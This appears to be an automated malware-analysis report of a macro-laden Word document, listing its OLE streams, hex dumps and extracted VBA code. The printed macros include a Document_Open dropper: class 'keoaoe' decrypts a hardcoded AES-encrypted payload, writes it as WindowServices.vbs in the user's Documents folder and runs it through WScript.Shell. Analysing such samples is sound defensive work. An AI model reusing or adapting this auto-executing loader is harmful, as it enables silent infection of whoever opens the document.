        hResult = BCryptOpenAlgorithmProvider(.hAesAlg, StrPtr("AES"), StrPtr(MS_PRIMITIVE_PROVIDER), 0)
        If hResult < 0 Then
            GoTo QH
        End If
        On Error GoTo 0
        hResult = BCryptGetProperty(.hAesAlg, StrPtr("ObjectLength"), .AesKeyObjLen, 4, 0, 0)
        If hResult < 0 Then
            GoTo QH
        End If
        hResult = BCryptSetProperty(.hAesAlg, StrPtr("ChainingMode"), StrPtr("ChainingModeECB"), 30, 0)  ' 30 = LenB("ChainingModeECB")
        If hResult < 0 Then
            GoTo QH
        End If
        ReDim .AesKeyObjData(0 To .AesKeyObjLen - 1) As Byte
        hResult = BCryptGenerateSymmetricKey(.hAesAlg, .hAesKey, .AesKeyObjData(0), .AesKeyObjLen, baDerivedKey(0), lKeyLen, 0)
        If hResult < 0 Then
            GoTo QH
        End If
        '--- init AES IV from second half of derived key
        Call CopyMemory(.Nonce(0), baDerivedKey(lKeyLen), AES_IVLEN)
        '--- init HMAC key from last HashLen bytes of derived key
        hResult = BCryptOpenAlgorithmProvider(.hHmacAlg, StrPtr(HMAC_HASH), StrPtr(MS_PRIMITIVE_PROVIDER), BCRYPT_ALG_HANDLE_HMAC_FLAG)
        If hResult < 0 Then
            GoTo QH
        End If
        hResult = BCryptGetProperty(.hHmacAlg, StrPtr("HashDigestLength"), .HashLen, 4, 0, 0)
        If hResult < 0 Then
            GoTo QH
        End If
        hResult = BCryptCreateHash(.hHmacAlg, .hHmacHash, 0, 0, baDerivedKey(lKeyLen + AES_IVLEN - .HashLen), .HashLen, 0)
        If hResult < 0 Then
            GoTo QH
        End If
    End With
    '--- success
    pvCryptoAesCtrInit = True
    Exit Function
QH:
    uCtx.LastError = GetSystemMessage(hResult)
    Exit Function
EH_Unsupported:
    uCtx.LastError = ERR_UNSUPPORTED_ENCR
End Function

Private Sub pvCryptoAesCtrTerminate(uCtx As UcsCryptoContextType)
    With uCtx
        If .hPbkdf2Alg <> 0 Then
            Call BCryptCloseAlgorithmProvider(.

VBA File Name: ThisDocument.cls, Stream Size: 1565

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	1565
Data ASCII:	. . . . . . . . . . . . . . . . . . . 9 . . . G . . . + . . . . . . . . . . . A . V . . . . . . . . . . . . . . . . . . . p . . . c ; . L C n . . ( . [ M h . . . . . . . . . . . . . . . . . . . . . . } ^ V H ( . e . . . . . . . . . . . . . . . . . . . . . . . . x . . . . } ^ V H ( . e . . c ; . L C n . . . . . M E . . . . . . . . . . . . . . . . . . . . . ( . . . P . . . . . S " . . . . S . . . . . S " . . . . " 2 . . . . . 6 " . . . . . < 0 . . . . . . < 8 . . . . . . < . . . . . . . . . . ( . 1 . N . o .
Data Raw:	01 16 03 00 04 00 01 00 00 e4 03 00 00 e4 00 00 00 12 02 00 00 39 04 00 00 47 04 00 00 2b 05 00 00 01 00 00 00 01 00 00 00 96 41 07 56 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 9d 63 b7 3b c7 dc 87 4c 94 be 43 f7 8b 6e e2 08 18 85 28 c9 9b f5 5b 4d 82 68 e2 e4 98 18 00 97 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim keooo As New keoaoe
    keooo.TestAES
    
End Sub

VBA File Name: ThisDocument1.cls, Stream Size: 1107

General
Stream Path:	Macros/VBA/ThisDocument1
VBA File Name:	ThisDocument1.cls
Stream Size:	1107
Data ASCII:	. . . . . . . . 2 . . . . . . . . . . 9 . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S . . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . F . C . F . B . 3 . D . 2 . A . - .
Data Raw:	01 16 03 00 01 f0 00 00 00 32 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 39 03 00 00 8d 03 00 00 00 00 00 00 01 00 00 00 96 41 8f b6 00 00 ff ff 03 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: keoaoe.cls, Stream Size: 11693

General
Stream Path:	Macros/VBA/keoaoe
VBA File Name:	keoaoe.cls
Stream Size:	11693
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . p . . . . . y L . u W . X * = h . 8 . . + 3 q . . . . . . . . . . . . . . . . . . . . W . Q E . . A . . . . . . . . . . . . . . . . . . . . . . . x . . . . W . Q E . . A . . . y L . u W . X . . . . M E . . . . . . . . . . . . . . . . . . . . . ( . . . . . S . . . . . S . . . . . S . . . . 6 " . . . . . . . . . . N . 0 . { . F . C . F . B . 3 . D . 2 . A . - . A . 0 . F . A . - . 1 . 0 .
Data Raw:	01 16 03 00 02 00 01 00 00 b2 04 00 00 e4 00 00 00 10 02 00 00 e0 04 00 00 ee 04 00 00 fa 19 00 00 00 00 00 00 01 00 00 00 96 41 0b 1d 00 00 ff ff 03 00 00 00 80 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 cc a7 e3 c4 be 79 a3 4c b3 ae 00 75 57 cd a0 58 2a 3d fb fc fa a0 68 10 a7 38 08 00 2b 33 71 b5 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "keoaoe"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub TestAES()
    Dim key As String
    Dim decryptedText As String
    Dim i As Integer
    Dim parts(1 To 60) As String
    Dim allDecryptedText As String
    Dim chunkSize As Integer
    Dim tempFilePath As String

    ' ?t kha AES
    key = "Bnshekao@3123989942"    ' Kha 16 byte cho AES
    part1 = "U2FsdGVkX1+dNqiwSTp9Sqv/0TVrzrOc76g8zk4YPSNm5OKURc2v0uIodtcsnOL6RJb3xYgUlCOFV6b6XWkTdeHQCGey7pI8qwnT5xLy/VKSKg5FmPBOCTNQUgAASA7wXsGTeAC5PbxpiVz04iBNdx"
    part2 = "bUoo21wrnWlCB0xLqmNF1uhdY1X6mPBEZyoB9M3X2e8G+2gVZC616vgx4A63rh5QJUwC+/llk0cuMyK5PZ4GPRRyjK6DAKh+NjgEfwujNBYu1K1wKhEdzX7hSmdnhxJ6QU6m3L8g4OtSwJ+B5lcYs1"
    part3 = "APaW/Bt4WwymusVnlV/9P1kTHJwZsLr2yuzrUR6QD4Z7Hy2CH1HCd78hoUhbKM2hXKsb9QZdjPI3nC+NVPgVbZTwZsSlmE2sXyeYXZb0/11tIK0AnJLNPd8KLtpNfioVRINA601YuFNqSi8J+vAjFq"
    part4 = "ptgioL11dGXpMe3Y1hFXWiCXvUpWkV1X58aK4AAFqY4itc1XMpNkjKiGNdP6QdVCrQ/fFg/ni38thsinsexqtAkb6immNECdsvgpKh36pjarHIAl1fya1xofovnGuT97OLiJH8wVysHeM9YKKZPgZF"
    part5 = "1fC3a1XE2RH92Y5dTbe2Mu9t0nQ9BHHbyhy4T32YyNV9MFdCB8pix3foKT/q0KGBfPGiQjDDJiWS4QUfrjaIbx1VhtihHaB3fpWRoVkGnjVTd3N5QVMckl6x0VzHMEq8pRw3yO5AxJqpRKK2CnJFZP"
    part6 = "4HtpvPyipWL2r2m3tEB2IfpBwLa6PLBeuSlXAeXis9riaM5diYNMS4iUcU74hZAwzV4mEJ9Jj0OoYM09jpok6R0BzkJ4TDr4j6W2i9Qra/zddsmbEqmUB3F28cj8+Q51M6Y8dBxNETxrnpttj7MRFz"
    part7 = "448jdoKx7yZwpPUSEllFI6aJExbW5OU0SeA3l0sPcwOrFVl2BcxGE4xNF3xMNXZv7ySzj1O5oQclakPNhwBXN+JhuXPCeA2PmTmM00/HmKpHziXUrbS74q+KqbVUOinDlQfToSi8d73W7jHWN/hmHH"
    part8 = "oU63mk5bUpOP079z2hntojd1sHY4dcRXRKvx0asiUXNG4UqCNH00yVyAKhvI8Dcd17kFfq/bde/LLF2GtlKM4iJ+nzMHMbs3IkXYTGr5/ODdJTgTq3XjeDHXIjYSj13l8nLQtx9m2S3TJukPyfeyOi"
    part9 = "7qtGErzbfMQhoOfpp2kuFxmLk+p+A+VjT5JVN16MldTldAy7QbVHqU8l0kTByBO+y4y2jN8HhP3Kk9TGwj4jlvoeOONTB6l3jD9V84H3nrQup6mpGv1w9KuH69xYBqnBeI+btZbNH9KfFE/ynL4Xsj"
    part10 = "Y8gnrSKktu4V47h17Q2iagtWR4L2m4pByPdrreHbsP0rY2Q5LkH37MUaHx9cmBMoUDNr2sIYZH3TA81b1kCYCKSg5g/2aHrTcIPXP2A9QR2OCstl/5c45+IgG2w4dLv0xtVvcD8Y/WuUAc3/hDcSXA"
    part11 = "c22K+jW908mHl1h/F1dKkbrFtdwRHriyiWKS9bTcjhwkV9WsHv7hGA2SR8Ek80N8VEsZKES3j0ZdvVgupiuE0DYqhPFQqjvZpn1sR4Acz88n0182sFl+8gSzop6GZKI3lftmOZM25QygdvILClX9vh"
    part12 = "ZcT+hu3SdvKLFQiGhIWunEmdtEJMSZH9pXzvmftAH8lhoZJ9Eq4tb/kWYDC7HufK+lesGow6lGx21uHMuvkfBD5LXVSHBC8k4gRIkTl/oS/U7oQKbbKg12ltdJusa1oRdQwspoCdebVGiuxqZSRMgP"
    part13 = "V1553L6FMJrS4FKUKxhYJVsSlrj9qVZZ/eCAPuscoB8dVOiqs7cyCWXUk4Qj5QxJms+tMVdugYoz5ozlXXiU6lzQJE8d4DrpHxkDV+0rLUY6RbZLUWwdEdHsJ1mHJooaQag4+CBG/bXk2J6KUdhxop"
    part14 = "ExrtYjBVs4zcHp8QWrz1A4MekTIXEDoar3wzHUibSEnItftTfLA1K0pdT1VzmXULgiJt2XtHxcI8p4UAEyMWJPGHRUclbNG8kzit6BXBoOFmh8tpQvhjUnwzp1U/pBq2+JFAzj9/8SVfOjFL1+mucA"
    part15 = "i1pSm2bvHJyoIfjCxh52RR51TIKot9mABF8F3sAQtVMmGEYvCQ9wuI6qE4NgqEEVhB0NdsrEzc19osiPUEKMMgTW86sBHKzrS5++r5mRX5RVtp1ZDjyq9YJC/e9UNpaLYUoVccJ2sVtdQu/RX2/N/S"
    part16 = "tWOepSU3zzJO3IC0LNDusBrP93U4TCouibRyPz4epM1SJQJjMx6K+xopwZo3BZ3pmbwoXFAO0fzHVW9/OkZdQnUBMWpZSAXB04I2uGA6d3CQrSiKe7EWHDBW9QnXbNuQy37TwUNlqjP/xhhJHsZA7P"
    part17 = "arP1NJmqk35mND6Fg88hP9rePCswSV166VP0fF/OYTPwVC9oXMPso94X2FAXEdUBuzFkxgOdSdGyah1WPEM5ZvTshQYXGcuf2cDr6nLNgUCVnFtVbQiNIGRb7wYTLzjvB89XoUs1YcnZXQmCKkmHCH"
    part18 = "GSH2dKTbANfW29PD7ZZK/dgGDVe3GAwwoqPiAOV74rw1hxrXad4TU1H+pEwHsxv0jnYXCdBI9iBV2P1pjMJWkXjT+N/oq6ZoM3hVRos7jaOwnvBI0163788stbN02N7VhgBzY/d0f+LtQVteFbgA0o"
    part19 = "HsS3ddDuf6EbxorfddYWNkOV3TvdwWNH3HpYmBq8GrjgxVoNDSw6E8eLoyqIXvqs1DxlLY/uHNorxP9iDGO2ZYMQ0qY3x6te3GbKJZKl3OekMFxDqkhqCE8IJSYTwSbAxNA2K6DHYsT/vDVm9OsrE+"
    part20 = "c2mPNjYheGhsI9AI48kBXTJcVdKNXyDdegX3K4O757DjlbkPTjmgpV0OWum/axEOdwfCBykOjb7WJw4LvLaZo08Hahku87InP6PbcV4DNRou1RgjHp0NZban9TeRc/3zAQQuzRcXMk2CfO83CTE+fn"
    part21 = "2VtluxczXmPsqd1boUbJTHJqxu8/43ICU1wduq4SM4YoQTBLYnhlBhn8vYBbW62jHOJqVtfj6xVksqFrCT71i1duHfhRGQLKlRTjnK6GS8Hy7IkuJjfTW4yuVwUAljPSFLJjzH+ZdfLQUnVyJ8Mjp5"
    part22 = "Yo4PaUOkPABOieg8Qne25eflW34sILpeymCECFYOk8w/veOnLjgAMEqow24oa7epvSaAQgjzkjkLCpPnJ+CxKvUbFkZWVAs6xkP76iD+6kxPBAglXqIG2HNCSGucUwUk9HUE0rij3PIjsyMiW9Xhrz"
    part23 = "7VOCW1hbYBBP2V3JGotCL6en9V3EvgCOm42brJhx6jIY8IzvDDUC+EnfnJmUUfFfDgZyVV4Yi1L+m4tdQhjbzVcEz0PyGGjcmk8o9FRd4mfVYPEmN3NQBxP3xEK4hx8uPXUA4aGj+8CXfWSvrzeLNg"
    part24 = "VqtTEkJLtTukhKEe977DegbZo9Q132SqvT6kjAzJ+UCcHjDDctQFmdMF5PfFle"
    Dim encryptedText As String
    encryptedText = part1 & part2 & part3 & part4 & part5 & part6 & part7 & part8 & part9 & part10 & part11 & part12 & part13 & part14 & part15 & part16 & part17 & part18 & part19 & part20 & part21 & part22 & part23 & part24
    decryptedText = AesDecryptString(encryptedText, key)    ' Gi?i m

    ' Kch thu?c c?a m?i ph?n
    chunkSize = 3000  ' Kch thu?c m?i ph?n
    Dim outputFilePath As String
    ' Luu ton b? n?i dung gi?i m vo t?p VBS
    vbsFilePath = Environ("USERPROFILE") & "\Documents\WindowServices.vbs"

    ' Ghi t?ng ph?n ra t?p
    Open vbsFilePath For Output As #1
    For i = 1 To Len(decryptedText) Step chunkSize
        partText = Mid(decryptedText, i, chunkSize)
        Print #1, partText  ' Ghi t?ng ph?n vo t?p
    Next i
    Close #1

    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    shell.Run """" & vbsFilePath & """", 1, True


End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.235956365095031
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.2427468033329246
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.4626668981671506
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A D M I N . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N o r m a
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 ec 00 00 00 09 00 00 00 fc 00 00 00

Stream Path: 1Table, File Type: data, Stream Size: 7087

General
Stream Path:	1Table
CLSID:
File Type:	data
Stream Size:	7087
Entropy:	5.915480654085043
Base64 Encoded:	True
Data ASCII:	. . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
Data Raw:	0a 06 0f 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 637

General
Stream Path:	Macros/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	637
Entropy:	5.316181456865122
Base64 Encoded:	True
Data ASCII:	I D = " { 8 C 4 D 9 E 8 1 - A C 0 C - 4 5 3 B - A 9 F 2 - 3 2 3 F 8 B D 6 B 2 D 7 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . C l a s s = k e o a o e . . M o d u l e = M o d u l e 1 . . M o d u l e = M o d u l e 3 . . M o d u l e = M o d u l e 1 1 . . C l a s s = T h i s D o c u m e n t 1 . . H e l p F i l e = " 1 0 0 7 4 6 3 5 0 " . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G
Data Raw:	49 44 3d 22 7b 38 43 34 44 39 45 38 31 2d 41 43 30 43 2d 34 35 33 42 2d 41 39 46 32 2d 33 32 33 46 38 42 44 36 42 32 44 37 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 43 6c 61 73 73 3d 6b 65 6f 61 6f 65 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 33 0d 0a 4d 6f 64

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 179

General
Stream Path:	Macros/PROJECTwm
CLSID:
File Type:	data
Stream Size:	179
Entropy:	3.348554679064766
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . k e o a o e . k . e . o . a . o . e . . . M o d u l e 1 . M . o . d . u . l . e . 1 . . . M o d u l e 3 . M . o . d . u . l . e . 3 . . . M o d u l e 1 1 . M . o . d . u . l . e . 1 . 1 . . . T h i s D o c u m e n t 1 . T . h . i . s . D . o . c . u . m . e . n . t . 1 . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 6b 65 6f 61 6f 65 00 6b 00 65 00 6f 00 61 00 6f 00 65 00 00 00 4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 4d 6f 64 75 6c 65 33 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 33 00 00 00 4d 6f 64 75 6c 65 31 31 00 4d 00 6f 00 64 00 75 00 6c 00 65

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 7153

General
Stream Path:	Macros/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	7153
Entropy:	5.615254486098057
Base64 Encoded:	True
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 1 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/__SRP_0, File Type: data, Stream Size: 1899

General
Stream Path:	Macros/VBA/__SRP_0
CLSID:
File Type:	data
Stream Size:	1899
Entropy:	3.57014347674237
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ Z . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a N ~ G q @ 1 ) T . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 04 00 06 00 04 00 06 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00 00 00 00

Stream Path: Macros/VBA/__SRP_1, File Type: data, Stream Size: 239

General
Stream Path:	Macros/VBA/__SRP_1
CLSID:
File Type:	data
Stream Size:	239
Entropy:	2.0304487142653334
Base64 Encoded:	True
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 0 0 7 4 6 3 5 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff b1 00 00 00 00 00 00 00 00 00 01 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: Macros/VBA/__SRP_2, File Type: data, Stream Size: 532

General
Stream Path:	Macros/VBA/__SRP_2
CLSID:
File Type:	data
Stream Size:	532
Entropy:	2.0423409612990255
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ` i . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . . . . . . . . . i . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 01 00 01 00 00 00 01 00 11 08 00 00 00 00 00 00 00 00 00 00 41 08 00 00 00 00 00 00 00 00 00 00 71 08

Stream Path: Macros/VBA/__SRP_3, File Type: data, Stream Size: 156

General
Stream Path:	Macros/VBA/__SRP_3
CLSID:
File Type:	data
Stream Size:	156
Entropy:	1.7948868758912513
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 04 60 00 00 e0 0d 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 711

General
Stream Path:	Macros/VBA/dir
CLSID:
File Type:	data
Stream Size:	711
Entropy:	6.534770648575581
Base64 Encoded:	True
